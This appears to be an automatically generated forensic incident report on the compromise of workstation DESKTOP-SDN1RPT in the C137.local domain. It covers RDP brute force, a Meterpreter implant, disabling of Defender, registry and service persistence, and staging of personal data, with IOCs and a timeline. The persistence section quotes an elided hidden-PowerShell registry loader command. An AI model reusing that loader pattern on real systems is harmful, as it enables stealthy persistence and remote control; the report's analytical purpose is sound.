INCIDENT RESPONSE REPORT

Forensic analysis: test04

Case	test04
Main system	DESKTOP-SDN1RPT.C137.local
Verdict	COMPROMISED: confirmed intrusion through RDP with domain credentials. The attacker deployed Metasploit/Meterpreter on DESKTOP-SDN1RPT, set up two persistence mechanisms (only the Run key has fired so far), got SYSTEM, collected and staged personal data, and probably exfiltrated it. The domain C137.local must be considered fully compromised: the Domain Administrator (-500) account was abused, and the DC 10.42.85.10 itself ran the same payload.
Trace period (UTC)	2019-12-06 16:57:00 → 2020-09-19 05:16:48.097557 (99.8 % of the events; full range 2001-01-01 00:00:00 → 2020-09-19 05:38:57.828520)
Incident window (UTC)	2020-09-18 20:42:27 → 2020-09-19 06:09:56
Findings	Critical: 9, High: 11, Medium: 3, Low: 2, Informational: 7
Report date	2026-10-25 20:19 UTC
Classification	CONFIDENTIAL: TLP:AMBER
Production	Report generated by Sleuthline (analyze.py) with the assistance of a language model. Model: anthropic / claude-opus-5-5.

Disclaimer: this report was produced automatically. Every finding is linked to verifiable records of the case database ("Reference" column) and to the original path of the artifact. It must be reviewed and validated by an analyst before any distribution or decision.

Table of contents

Table of contents: right-click > Update Field (or F9) to display it.

1. Executive summary

Verdict: COMPROMISED: confirmed intrusion through RDP with domain credentials. The attacker deployed Metasploit/Meterpreter on DESKTOP-SDN1RPT, set up two persistence mechanisms (only the Run key has fired so far), got SYSTEM, collected and staged personal data, and probably exfiltrated it. The domain C137.local must be considered fully compromised: the Domain Administrator (-500) account was abused, and the DC 10.42.85.10 itself ran the same payload.

On 2020-09-19 (UTC; the host is set to Pacific time, UTC-7), an external attacker at 194.61.24.102 took over the C137.local domain and then the workstation DESKTOP-SDN1RPT (10.42.85.115).

How the attacker got in
- At about 03:19 UTC the attacker scanned the domain controller CITADEL-DC01 (10.42.85.10) and brute-forced its Administrator account over RDP.
- At 03:24 the DC downloaded coreupdater.exe and opened a Meterpreter session to 203.78.103.109:443.
- At 03:36:24 the attacker opened an RDP session from the DC to the workstation as C137\Administrator. That account belongs to Domain Admins and Enterprise Admins.

What the attacker did in that RDP session (03:36–03:52)
- Turned off Microsoft Defender real-time protection, cloud reporting (MAPS) and sample submission.
- Downloaded coreupdater.exe (SHA256 10f3b920…cfda6) with Edge from http://194.61.24.102/ and moved it to C:\Windows\System32.
- Ran it at 03:40:49, which opened an encrypted Meterpreter channel to 203.78.103.109:443.
- Moved the implant into spoolsv.exe (running as SYSTEM, holding a handle to lsass) and used getsystem (temporary service "nehgye").
- Set up two persistence mechanisms:
  - an auto-start LocalSystem service, "coreupdater";
  - a fileless HKLM Run value, "coreupdate", that loads PowerShell shellcode stored in HKLM\Software\q9Z1bssi.
- Browsed every user profile, opened mortysmith's sensitive files (Social Security Number, Plans, Thoughts, Portal_gun.png), zipped them as loot.zip, and permanently deleted the archive at 03:47:09.

After the session
- At 05:08 the Domain Admin ricksanchez logged on. This fired the Run-key loader and opened a second Meterpreter session in his Domain Admin context. That session was still live when the responder collected evidence (05:09–05:13, FTK Imager from USB E:).

Impact
- Full SYSTEM and Domain/Enterprise Admin control of the workstation.
- Probable theft of mortysmith's PII. The archive was small and most likely left through the encrypted C2, but this cannot be proven at content level.
- Domain-wide credential exposure.

Confidence
- High for the attack chain. Disk (EVTX, Prefetch, Amcache, $MFT/$J, registry, SRUM), memory (Volatility) and network capture (Suricata) all corroborate it independently.
- Probable for the exfiltration.

Key figures

Findings	32 (critical: 9, high: 11, medium: 3, low: 2, informational: 7)
Key timeline events	28
Indicators of compromise	20
Questions answered	0 / 0 asked in the guidance

First / last key event (UTC)	2020-09-18 21:42:27 → 2020-09-19 05:09:56

Main findings

ID	Severity	Confidence	Finding	Period (UTC)
F-009	Critical	confirmed	Privilege escalation: Meterpreter getsystem named-pipe impersonation service "nehgye"	2020-09-18 22:53:11.065740 → 2020-09-19 03:43:15.054907
F-012	Critical	confirmed	Execution attribution: coreupdater.exe, cmd.exe and sc.exe launched interactively by C137\Administrator (SID -500) in RDP session 3	2020-09-18 22:53:11.065740 → 2020-09-19 04:14:00
F-008	Critical	confirmed	Malware coreupdater.exe downloaded from 194.61.24.102 via Edge, moved to C:\Windows\System32, executed and installed as auto-start service "coreupdater"	2020-09-19 02:39:58.411571 → 2020-09-19 03:42:42.676537
F-017	Critical	confirmed	Network ↔ disk ↔ memory: coreupdater.exe HTTP download to 10.42.85.115 hash-identical to Amcache entry; two Meterpreter stage/C2 sessions to 203.78.103.109:443 owned by the host	2020-09-19 02:39:58.411571 → 2020-09-19 04:08:45.783080
F-015	Critical	confirmed	Memory: Meterpreter migrated into spoolsv.exe (PID 2188, SYSTEM) — MZ RWX region, inherited C2 socket to 203.78.103.109:443, handle to lsass.exe	2020-09-19 02:40:49.936293 → 2020-09-19 05:14:00
F-020	Critical	confirmed	Persistence #2: auto-start LocalSystem service "coreupdater" (C:\Windows\System32\coreupdater.exe) still registered but not triggered yet (no reboot since install); "nehgye" was transient	2020-09-19 03:42:42.676537 → 2020-09-19 03:43:14.990879
F-010	Critical	confirmed	Persistence fired: HKLM Run "coreupdate" launched hidden PowerShell Metasploit shellcode loader at 05:08 (new C2 session to 203.78.103.109:443)	2020-09-19 03:44:03.540241 → 2020-09-19 05:08:44.732435
F-019	Critical	confirmed	Persistence #1: HKLM Run value "coreupdate" + fileless payload in HKLM\Software\q9Z1bssi (Metasploit registry_persistence pattern), written 03:44:03 during the attacker session	2020-09-19 03:44:03.540241 → 2020-09-19 05:08:40.797308
F-016	Critical	confirmed	Memory: PowerShell PID 3316 (ricksanchez, Domain Admin) hosts reflective Meterpreter payload with a live C2 socket to 203.78.103.109:443	2020-09-19 04:08:45.483780 → 2020-09-19 05:14:00
F-027	High	confirmed	Attacker GUI workflow for coreupdater.exe: Edge directory listing of 194.61.24.102, Save-As dialog, Explorer move Downloads→System32, clipboard pastes into cmd.exe	2019-12-07 09:03:44.539499 → 2020-09-19 03:42:41
F-026	High	confirmed	Collection detail: attacker browsed all user profiles in Explorer, built "My Social Security Number.zip" via Explorer, renamed it loot.zip, and permanently deleted it (no Recycle Bin)	2020-09-18 05:49:10 → 2020-09-19 03:47:39.785228
F-013	High	confirmed	Collection: Administrator opened mortysmith's personal files (SSN, Plans, Thoughts, Portal_gun.png), zipped them as loot.zip, then deleted the archive	2020-09-18 21:42:35.500078 → 2020-09-19 03:47:48.926185
F-031	High	probable	Exfiltration assessment: tiny staged archive (loot.zip from 22-byte SSN file) and only plausible channel is the encrypted Meterpreter C2 or the RDP session; no cloud, BITS, SMB, HTTP-upload or DNS exfil	2020-09-18 22:50:19.426026 → 2020-09-19 04:14:00
F-007	High	confirmed	Defense evasion: Windows Defender real-time protection, MAPS reporting and sample submission disabled during the RDP session	2020-09-18 22:52:57.112379 → 2020-09-19 03:39:49.843705
F-018	High	confirmed	Intrusion path on the wire: RDP brute force of DC Administrator from 194.61.24.102, then RDP DC (10.42.85.10) → DESKTOP-SDN1RPT matching the 4624 type 10 logon	2020-09-19 02:19:26.619607 → 2020-09-19 03:36:24.432948
F-011	High	probable	Network context: external host 194.61.24.102 RDP to the DC, DC downloads coreupdater.exe and gets Meterpreter sessions from 203.78.103.109; capture clock ~1 h behind host clock	2020-09-19 02:21:27.226262 → 2020-09-19 03:40:45.191906
F-006	High	confirmed	Lateral movement: RDP logon (type 10) of domain account C137\Administrator from DC 10.42.85.10	2020-09-19 02:35:55.347240 → 2020-09-19 03:52:13.468385
F-029	High	confirmed	Download provenance of coreupdater.exe: typed navigation to http://194.61.24.102/ in legacy Edge, Save-As to Downloads with Mark-of-the-Web, MOTW stream removed at first execution after SmartScreen check	2020-09-19 02:39:05.286189 → 2020-09-19 03:40:49.317328
F-023	High	confirmed	Attacker session privileges: C137\Administrator RDP logon (LogonId 0x857E73) holds Domain Admins + Enterprise Admins + SeDebugPrivilege; ricksanchez (Domain Admin) cached logon at 05:08 triggered the Run-key loader	2020-09-19 03:36:22.980909 → 2020-09-19 05:08:15.224627
F-014	High	probable	SRUM: coreupdater.exe network traffic continues in the 04:14–05:14 slot; PowerShell (ricksanchez) traffic at 05:08 loader	2020-09-19 04:14:00 → 2020-09-19 05:14:00
F-025	Medium	probable	Network share exposure: ricksanchez's persistent mapped drive Z:	2020-09-18 22:45:26.988114

ID	Severity	Confidence	Finding	Period (UTC)
			= \\CITADEL-DC01\FileShare reconnected at the 05:08 logon that fired the Meterpreter Run-key loader	→ 2020-09-19 04:08:16.637781
F-022	Medium	confirmed	Remote Desktop Users group populated by C137\ricksanchez (Domain Administrator, Domain Admins, Domain Users, mortysmith) — enabled the later RDP path	2020-09-18 22:52:49.588649 → 2020-09-19 03:36:23.009739
F-030	Medium	confirmed	Defense-evasion / anti-forensics assessment: no log clearing, no timestomping, no wiping; only evasion = Defender weakening (persisting until acquisition) and MOTW removal	2020-09-18 22:52:57.112379 → 2020-09-19 03:47:09.917465
F-004	Low	confirmed	Timeline anomaly: system clock changes (Security 4616) on 2020-09-18	2020-09-18 04:58:02.307663 → 2020-09-19 01:54:37.447633
F-003	Low	confirmed	Scope limitation: no process-creation telemetry outside boot (no Sysmon, 4688 only at boot), PowerShell logs only cover 2020-09-19 05:08	2020-09-19 03:44:03.540241 → 2020-09-19 05:08:42.966250

Technical assessment

Host: DESKTOP-SDN1RPT, Windows 10 Enterprise Evaluation 19041 x64 on VMware. Installed 2020-09-18 05:47, joined to C137.local at 21:42, last boot 2020-09-19 01:24:04. The pcap clock runs about 1 h behind the host clock; this offset was validated on three pivots (F-011/F-032).

1. Initial access (F-006, F-018, F-022, F-023)
- Network: an nmap RDP scan plus 198 Administrator RDP logon requests from 194.61.24.102 to the DC, then an RDP flow from the DC to the workstation.
- 4624 type 10 at 03:36:24: C137\Administrator, S-1-5-21-2232410529-1445159330-2725690660-500, from 10.42.85.10, LogonId 0x857E73. Corroborated by RCM 1149 and RdpCoreTS 168.
- The session token carries Domain Admins (-512), Enterprise Admins (-519) and SeDebugPrivilege.
- The RDP path was allowed because ricksanchez had added these accounts to Remote Desktop Users at 22:55:33 the day before.

2. Defense evasion (F-007, F-030)
- Defender 5001/5007 at 03:39:45–49: DisableRealtimeMonitoring=1, SpyNet 2→0, SubmitSamples 1→0, TamperProtection 0x1→0x4. Defender stayed off until acquisition.
- MOTW (Zone.Identifier) was removed at the 03:40:49 launch.
- No log clearing (no 1102/104, no gaps in EventRecordIDs), no timestomping, no wiping.

3. Delivery and execution (F-008, F-012, F-017, F-027, F-029)
- 03:39:26: legacy Edge opens http://194.61.24.102/ as a typed URL (no Referer).
- 03:39:57: GET /coreupdater.exe, 7168 bytes. Hashes: MD5 eed41b4500e473f97c50c7385ef5e374, SHA1 fd153c66386ca93ec9993d66a84d6f0d129a3a5c, SHA256 10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6. The network hash matches Amcache.
- Save-As to Downloads (the .partial file was MFT 26213), then an Explorer move to System32 at 03:40:42.
- Executed at 03:40:49: Prefetch, UserAssist, SRUM, PCA, and memory psscan PID 8324 (exited 03:43:10).
- C2 flow 50875 to 203.78.103.109:443: Suricata 'PE over raw TCP' and Metasploit Bind_API alerts, about 280 KB up / 1.76 MB down.
- cmd.exe at 03:41:06 with clipboard pastes; sc.exe at 03:42:42.

4. Privilege escalation and process injection (F-009, F-015)
- 7045 for the getsystem service "nehgye" at 03:43:14.
- Memory: spoolsv.exe PID 2188 (SYSTEM) has a PE region (MZ header, RWX) at 0x1840000, holds the C2 socket and a handle to lsass.exe.

5. Persistence (F-019, F-020, F-010)
- HKLM\...\Run\coreupdate, written 03:44:03, runs: `powershell -nop -w hidden -c ... iex(... (Get-Item 'HKLM:Software\

q9Z1bssi').GetValue('JqxNhWJA'))`. This is the Metasploit registry_persistence pattern.
- It fired at ricksanchez's logon at 05:08:37–44. Evidence: Shell-Core 9707/9708, PowerShell 400/600/4104, Prefetch, psscan PID 508→3316. Memory malfind in PID 3316 and a live C2 socket via flow 50972 (F-016).
- Service "coreupdater" (auto start, LocalSystem, C:\Windows\System32\coreupdater.exe) was created by 7045 at 03:42:42. It has not started yet because there was no reboot after installation.

6. Collection, staging and exfiltration (F-013, F-026, F-031)
- ShellBags show browsing of the Admin, mortysmith and ricksanchez profiles (03:45:07–03:51:14). LNK files show the opening of mortysmith's SSN, Plans, Thoughts and Portal_gun.png.
- $J: "My Social Security Number.zip" (MFT 87470-2) created at 03:46:15, renamed loot.zip at 03:46:18, deleted at 03:47:09 without going through the Recycle Bin.
- No archiver tools, cloud/BITS uploads, SMB writes, HTTP uploads, DNS tunnelling or USB exfiltration were found. The only plausible channels are the encrypted Meterpreter C2 and the RDP clipboard.

7. Lateral movement (F-024, F-025)
- The workstation was a target, not a pivot. There is no outbound RDP, PsExec, WinRM or RMM activity.
- ricksanchez's Z: drive (\\CITADEL-DC01\FileShare) is exposed to the Domain Admin Meterpreter session; only about 28 KB went over SMB.

8. Context and noise
- Responder collection is excluded from the findings (F-002, F-028): SanDisk "Incident_drive", FTK Imager 4.2.1.4, collection starting at 05:08:58.

2. Scope, sources and methodology

2.1 Analyzed system

Observed host names	DESKTOP-SDN1RPT.C137.local (32889), DESKTOP-SDN1RPT (13648), WIN-2IH1TBB9I4Q (1279), go.microsoft.com (13)
Observed accounts	S-1-5-18 (24781), Administrator (21087), ricksanchez (15658), Admin (15606), mortysmith (15366), S-1-5-19 (3527), S-1-5-21-41211245-796119838-3940169921-1001 (2815), S-1-5-21-2232410529-1445159330-2725690660-1106 (2761), S-1-5-21-2232410529-1445159330-2725690660-1108 (1569), S-1-5-21-2232410529-1445159330-2725690660-500 (1256), systemprofile (1255), Default (635), S-1-5-20 (358), C137\DESKTOP-SDN1RPT$ (309), Public (246)
Machine time zone	ActiveTimeBias = 420 min (UTC = local time + bias)
Time convention of the report	All times are UTC.
Available traces	847,322 timeline events, from 2001-01-01 00:00:00 to 2020-09-19 05:38:57.828520

2.2 Collection and processing

KAPE collection (!SANS_Triage target); parsing by recognized tools orchestrated by orchestrator.py; normalization into DuckDB by normalize.py; analysis by analyze.py following the playbook. The raw tool outputs are kept in C:\Sleuthline\cases\test04\parsed and every cited piece of evidence points to them.

Job	Artifact / tool	Status	Tool and version	Duration
amcacheparser	AmcacheParser - Amcache.hve	ok	AmcacheParser latest (2026-10-19, net9); MFTECmd 2026.5.0.0	2 s
appcompatcache	AppCompatCacheParser - ShimCache	ok	AppCompatCacheParser latest (2026-10-19, net9); MFTECmd 2026.5.0.0	2 s
chainsaw	Chainsaw - Sigma detections + Chainsaw rules	ok	chainsaw v2.17.1; chainsaw_mapping v2.17.1; sigma_rules_dir r2026-07-01	13 s

Job	Artifact / tool	Status	Tool and version	Duration
dissect	Dissect - Windows plugins (no secrets)	ok	dissect dissect.target 3.25.1	171 s
evtxecmd	EvtxECmd - EVTX (maps)	ok	EvtxECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	17 s
hayabusa	Hayabusa - detections (all rules)	ok	hayabusa v4.2.0	14 s
jlecmd	JLECmd - Jump Lists	ok	JLECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
lecmd	LECmd - LNK files	ok	LECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
logfileparser	LogFileParser - $LogFile	ok	LogFileParser v2.0.0.53	286 s
mftecmd_boot	MFTECmd - $Boot	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
mftecmd_mft	MFTECmd - $MFT	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	5 s
mftecmd_sds	MFTECmd - $Secure:$SDS	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	0 s
mftecmd_usnjrnl	MFTECmd - $UsnJrnl:$J	ok	MFTECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	6 s
odl	odl.py - OneDrive logs	warning	odl branch main @ 9ad135ecf56c; python_odlpy branch main @ 9ad135ecf56c	2 s
pecmd	PECmd - Prefetch	ok	PECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
plaso_setupapi	plaso - setupapi.dev.log (USB)	ok	log2timeline plaso 20260720; psort plaso 20260720	9 s
recmd_complement	RECmd - complementary batch (EMDMgmt, Active Setup, Print Monitors, BootExecute, PCA)	ok	RECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0; RECmd_ComplementBatch sha256 d65f8bcd7190b4d4	9 s
recmd_kroll	RECmd - Kroll batch (all hives)	ok	RECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0; RECmd_KrollBatch latest (2026-10-19, net9); MFTECmd 2026.5.0.0	14 s
sbecmd	SBECmd - ShellBags	ok	SBECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	2 s
sidr	SIDR - Windows Search index	ok	sidr v0.9.2	0 s
sqlecmd	SQLECmd - SQLite databases (browsers, notifications…)	ok	SQLECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	3 s
srumecmd	SrumECmd - SRUM	ok	SrumECmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	1 s
suricata	Suricata - network captures (alerts and protocol metadata)	ok	suricata Suricata 8.0.7	19 s
volatility	Volatility 3 - memory image (58 plugins, no secrets, no file extraction)	ok	vol volatility3 2.28.2	1963 s
wxtcmd	WxTCmd - Windows Timeline	ok	WxTCmd latest (2026-10-19, net9); MFTECmd 2026.5.0.0	3 s
zircolite	Zircolite - Sigma detections	ok	zircolite v4.6.0	5 s

Analysis database	C:\Sleuthline\cases\test04\db\case.duckdb
Pipeline version	commit 9615b51f9227; content sha256 507779379B984D32; deployed 2026-10-21 08:56
Collection integrity	INTACT: 2703 file(s) matching the SHA-1 recorded by KAPE, 0 different, 0 missing, 0 without KAPE hash, 0 expected difference(s) on files copied live in raw mode (checked on 2026-10-25T20:16:47+01:00) After parsing: no collection file modified by parsing
Normalization	normalize.py v1.1 on 2026-10-25T19:35:54Z; mappings v2.2 (sha256 8a32b59741d3439e…)
Normalization warnings	logfileparser/LogFile_2026-10-25_20-17-41/ LogFile_Mft_ObjectId_Entries.csv: 10 rows not matching the header re-read in lenient mode (extra values in columnNN columns, missing values set to NULL) odl/odl_Admin_Personal.csv: re-read with Python's csv module (format irregular for DuckDB); 4660 blank rows skipped; _src_row = number of the non-blank record odl/odl_Administrator_Personal.csv: re-read with Python's csv module (format irregular for DuckDB); 1895 blank rows skipped; _src_row = number of the non-blank record odl/odl_mortysmith_Personal.csv: re-read with Python's csv module (format irregular for DuckDB); 3249 blank rows skipped; _src_row = number of the non-blank record odl/odl_ricksanchez_Personal.csv: re-read with Python's csv

	module (format irregular for DuckDB); 3774 blank rows skipped; _src_row = number of the non-blank record Local time -> UTC: ActiveTimeBias = 420 min (value at collection time; a daylight saving change during the period is not taken into account).
Normalization errors	none
Outputs without a validated mapping	none

2.3 Methodology

The analysis follows the playbook below (PLAYBOOK.md), one step at a time. At each step, the agent queries the read-only database, correlates the sources and records a finding only if all its evidence references exist in the database (automatic check). Artifact dates are interpreted according to their evidential value (e.g. ShimCache = presence, Prefetch = execution).

Step	Purpose	Status	Tool calls	Duration
1	System context and scope	done	38	136 s
2	Triage of automatic detections	done	45	185 s
3	Program execution	done	37	180 s
4	Memory (RAM)	done	42	154 s
5	Network traffic (PCAP)	done	29	120 s
6	Persistence	done	24	96 s
7	Accounts, authentication and privileges	done	23	116 s
8	Remote access and lateral movement	done	19	84 s
9	User activity on files and folders	done	31	158 s
10	Web browsing, downloads and e-mail	done	24	97 s
11	Defense evasion and anti-forensics	done	28	122 s
12	Collection, exfiltration and communications	done	33	148 s
13	Incident timeline and correlation	done	17	197 s
14	Summary, answers and recommendations	done	3	60 s

2.4 Guidance provided by the analyst

Context	none
Period of interest	not specified
Questions	none
Provided IOCs	none
Suspects	none
Exclusions	none
Instructions	none

2.5 Limitations of the analysis

Missing telemetry
- No Sysmon was deployed, and 4688 process creation appears only at boot. Command lines for cmd.exe and sc.exe and the exact Meterpreter commands are therefore unknown; the pasted cmd content comes only from Windows Timeline clipboard metadata.
- PowerShell logging covers only the 05:08 loader.

Data not parsed or incomplete
- Browser history databases were not parsed (legacy Edge spartan.edb/WebCache); web activity was rebuilt from the Windows Timeline, the pcap and the file system.
- The ODL parser job ended with a warning.
- Step 4 (memory analysis) reached its tool-call limit. Memory evidence was still used in later steps (malfind, netstat, handles, psscan, getsids, svclist), but a full memory review (for example extracting the Meterpreter configuration, lsass access results, or any credential dumping) was not completed.

Exfiltration and credential theft
- The C2 traffic is encrypted, so exfiltration of loot.zip and any credential harvesting (hashdump/kiwi through the lsass handle) cannot be confirmed at content level.

Scope
- Only this workstation was collected. The DC CITADEL-DC01 (10.42.85.10), which is the brute-force target and the attacker's pivot, is outside the disk scope; its compromise is inferred from the network capture only.

Timing
- Captured network timestamps are about 1 h behind the host clock.
- The VM was suspended and resumed between 01:54 and 03:13, which breaks the clock continuity.

Guidance
- The guidance file had no questions, so no answer_question entries were produced.

- Step 1 (System context and scope): No Sysmon; 4688 only at boot; PowerShell logs only cover 05:08; browser history, PSReadLine, RecycleBin, NTUSER ShellBags outputs empty; ODL strings obfuscated; no native_panther/native_wifi tables available (Panther setup logs and Wi-Fi profiles not checked); EMDMgmt not checked (no removable volume other than the responder USB).
- Step 2 (Triage of automatic detections): hashset empty, so no hash matching possible. No Sysmon/4688 to see parent of coreupdater (PPID 4008 not in memory) or what process migrated the Meterpreter session; netscan Owner/PID empty for C2 connections. Defender quarantine/exclusions tables absent. DC-side activity only visible via pcap. PowerShell payload of 05:08:44 (gzip base64) not decoded in this step; malfind/memory injection to be reviewed later.
- Step 3 (Program execution): No 4688/Sysmon process-creation telemetry: exact command lines of cmd.exe/sc.exe are unknown (conhost history empty in memory). ShimCache predates attack (last flush at shutdown before 01:24). Exfiltration of loot.zip not proven — to correlate with pcap/Suricata (note ~1h clock skew) and memory in later steps. SRUM coreupdater activity after the 03:43 process exit is unexplained (service instance vs injection) — for memory step.
- Step 4 (Memory (RAM)): tool call limit reached
- Step 5 (Network traffic (PCAP)): C2 traffic is encrypted/non-standard ('failed' app_proto): content and any exfiltration of loot.zip (≈280 KB upstream in session #1) cannot be verified. Memory netscan rows for the C2 sockets lack PID/owner (owner attribution relies on F-015/F-016 netstat). DC-side logs not collected, so the success of the RDP brute force is inferred. F-011 remains 'probable' per tool re-assessment despite added disk/memory references.
- Step 6 (Persistence): - The payload data in HKLM\Software\q9Z1bssi\JqxNhWJA was not extracted by any parser, so the stage content cannot be decoded here.
  - The dissect_tasks, dissect_clsid_user, dissect_cim_consumerbindings, native_startup, native_hosts and dissect_msoffice_startup tables are missing. COM hijacking, the WMI repository and Office startup could only be checked indirectly (5861, MFT).
  - Security auditing for 4697/4698/4702 was not enabled.
  - PendingFileRenameOperations was not parsed.
  - Winlogon Shell/Userinit and IFEO were checked only through the RECmd Kroll rows; no anomalous value showed up.
- Step 7 (Accounts, authentication and privileges): There are no DC logs, so Kerberos 4768/4769/4776 for the stolen Administrator credential and the brute-force origin cannot be seen on the DC side. No RDPClient 1024/1102 events were found for outbound RDP from this host, which fits the absence of lateral movement from the workstation. I could not tell which value under the Terminal Server key was written at 03:17:00: the key timestamp only covers the last write.
- Step 8 (Remote access and lateral movement): - File-share auditing (5140/5145) and Sysmon were not available.
  - C2 traffic is encrypted, so I cannot rule out pivoting or port forwarding through Meterpreter.
  - The raw.dissect_mru_mstsc, native_rdp, dissect_remoteaccess_* and dissect_mru_networkdrive tables are absent

from this database. I used registry_kroll instead.
- No RDP bitmap cache was parsed.

- Step 9 (User activity on files and folders): - The loot.zip content and hash cannot be recovered: the MFT record was reused and no memory object exists.
  - Exfiltration of the archive over RDP or the encrypted C2 channel is not provable from the artifacts.
  - The commands pasted into cmd.exe were not recovered (clipboard payloads empty, no console history).
  - Thumbcache, Notepad tabs, Recycle Bin and Dissect MRU tables are not available in the database.
  - ShellBag/LNK coverage depends on Explorer usage. Actions performed through Meterpreter leave no ShellBag or LNK artifacts.
- Step 10 (Web browsing, downloads and e-mail): - No browser history databases were parsed (legacy Edge WebCacheV01.dat / spartan.edb, Chromium Edge, if present), so I could not check full URL history, typed search terms or the download list. Parsing them with ESEDatabaseView, Hindsight or dissect would close this gap.
  - The HostUrl/ReferrerUrl of coreupdater.exe can't be recovered: the Zone.Identifier stream was removed and its text is not in the parsed $LogFile output.
  - Bing searches are TLS-encrypted, so intent queries (if any) can't be seen in the capture.
- Step 11 (Defense evasion and anti-forensics): - raw.dissect_defender_exclusions is absent from the case; I checked exclusions through the registry and MPLog instead.
  - $UsnJrnl only starts at 2020-09-19 01:31:32, so earlier deletions can't be seen.
  - There is no Sysmon and 4688 is only logged at boot, so command-level evasion such as Set-MpPreference or wevtutil can't be fully excluded. The Defender changes do line up with SecHealthUI GUI use.
  - How to read the TamperProtection value 0x4 depends on the platform version, so that point is only probable.
  - raw.vol_etwpatch is not available, so ETW patching was not checked.
- Step 12 (Collection, exfiltration and communications): - The C2 (TLS/Meterpreter) and RDP payloads are encrypted, so there is no content-level proof of what was sent.
  - The OneDrive SyncEngineDatabase.db was not parsed (moot, since the client was never signed in).
  - No Sysmon 3/22 or 5156 network telemetry.
  - No dissect_sevenzip output.
  - The loot.zip size was not recovered: its MFT entry was reused and no $LogFile I30 record exists.
- Step 13 (Incident timeline and correlation): - The exact time of the migration into spoolsv.exe is not logged; only the 03:40:49–03:43:10 bounds are known.
  - What was done in the C2 sessions (including any exfiltration of loot.zip) cannot be seen because the traffic is encrypted.
  - There is no process-creation telemetry (no Sysmon, 4688 only at boot), so the commands run inside Meterpreter are unknown.
  - How the DC was compromised can only be inferred from the pcap; no disk or log evidence from the DC is available.
- Step 14 (Summary, answers and recommendations): - No Sysmon or full 4688 data, so the full command lines are unknown.
  - Browser databases were not parsed.
  - The memory step stopped early because it hit the tool-call limit.
  - Because the C2 traffic is encrypted, data theft and credential theft cannot be proven at content level.
  - The DC was not collected.

Incomplete parsing sources: odl (warning).

3. Incident timeline

Key events established by the analysis (UTC), with their evidence. The complete timeline of the incident window (all artifacts) is provided in incident_timeline.csv.

Timestamp (UTC)	Phase	Event	Description	MITRE	References
2020-09-18 21:42:27	context	Domain join restart (C137.local)	System 1074 restart by SystemSettingsAdminFlows.exe; next boot 6005 at 21:42:39 reports Computer DESKTOP-SDN1RPT.C137.local.		evtxecmd/evtxecmd_0.csv#40266 evtxecmd/evtxecmd_0.csv#40276
2020-09-18 22:55:33	context	ricksanchez adds Administrator, Domain Admins, Domain Users, mortysmith to Remote Desktop Users	4732 x4 on S-1-5-32-555 by C137\ricksanchez (LogonId 0x438E75, console). Pre-incident configuration that authorised the later RDP logon of C137\Administrator.	T1098	evtxecmd/evtxecmd_0.csv#38829 evtxecmd/evtxecmd_0.csv#38832
2020-09-19 01:24:04	context	Last system boot before acquisition	System 12 kernel boot StartTime 2020-09-19 01:24:04.5; 6005 at 01:24:09.		evtxecmd/evtxecmd_0.csv#40528 evtxecmd/evtxecmd_0.csv#40524
2020-09-19 03:19:26	initial access	Attacker 194.61.24.102 scans and brute-forces RDP (Administrator) on DC 10.42.85.10	Host-clock equivalent (pcap 02:19:26 UTC +1 h). Nmap RDP cookie, then 198 Administrator RDP login requests until 03:56 host time.	T1110.001 T1046	suricata/case001.pcap/eve_rdp.jsonl#1 suricata/case001.pcap/eve_rdp.jsonl#3
2020-09-19 03:24:06	execution (DC)	DC 10.42.85.10 downloads coreupdater.exe from 194.61.24.102 and opens Meterpreter to 203.78.103.109	Host-clock equivalent of pcap 02:24:06; same SHA256 10f3b920…; DC C2 sessions at 03:25, 03:29, 03:56 host time.	T1105	suricata/case001.pcap/ eve_fileinfo.jsonl#106 suricata/case001.pcap/eve_flow.jsonl#27979
2020-09-19 03:36:24	lateral movement	RDP logon C137\Administrator from DC 10.42.85.10	4624 type 10 LogonId 0x857E73 (RecordID 2125), 1149 RecordID 39; session ends 03:52:13	T1021.001	evtxecmd/evtxecmd_0.csv#39576 evtxecmd/evtxecmd_0.csv#34902
2020-09-19 03:39:26	execution	Attacker opens legacy Edge and navigates (typed URL, no Referer) to http://194.61.24.102/	HTTP GET / to 194.61.24.102:80 from 10.42.85.115:50840, UA Edge/18.19041, 200 OK, 228-byte text/html directory listing. Pcap timestamp 02:39:26.94 UTC (raw 04:39:26+0200) = host 03:39:26 after the validated ~1 h capture-clock offset. Corroborated by the Administrator Windows Timeline (Edge activity on 194.61.24.102). First step of the payload staging, ~3 min after the RDP logon.	T1105 T1204.002	suricata/case001.pcap/ eve_http.jsonl#153 wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/ 20261025201827_Administrator_Activity.csv#7
2020-09-19 03:39:45	defense evasion	Defender real-time protection disabled	5001 RecordID 36; 5007 SpyNetReporting/SubmitSamplesConsent 0, TamperProtection 0x4	T1562.001	evtxecmd/evtxecmd_0.csv#35493 recmd_kroll/recmd_kroll_F.csv#8622
2020-09-19 03:39:49	defense evasion	Defender TamperProtection value 0x1→0x4 after RTP/MAPS disable (state persists to acquisition)	Defender 5007 Features\TamperProtection 0x1→0x4 at 03:39:49.84, closing the 03:39:45–49 Defender weakening sequence; DisableRealtimeMonitoring=1 still present in SOFTWARE hive at acquisition, no re-enable event.	T1562.001	evtxecmd/evtxecmd_0.csv#35496 recmd_kroll/recmd_kroll_F.csv#8622
2020-09-19 03:39:57	execution	coreupdater.exe downloaded via Edge from 194.61.24.102	Edge cache + Downloads\coreupdater.exe, moved to System32 at 03:40:42	T1105	mftecmd_usnjrnl/usnjrnl.csv#35845 mftecmd_usnjrnl/usnjrnl.csv#35942 suricata/case001.pcap/eve_fileinfo.jsonl#138
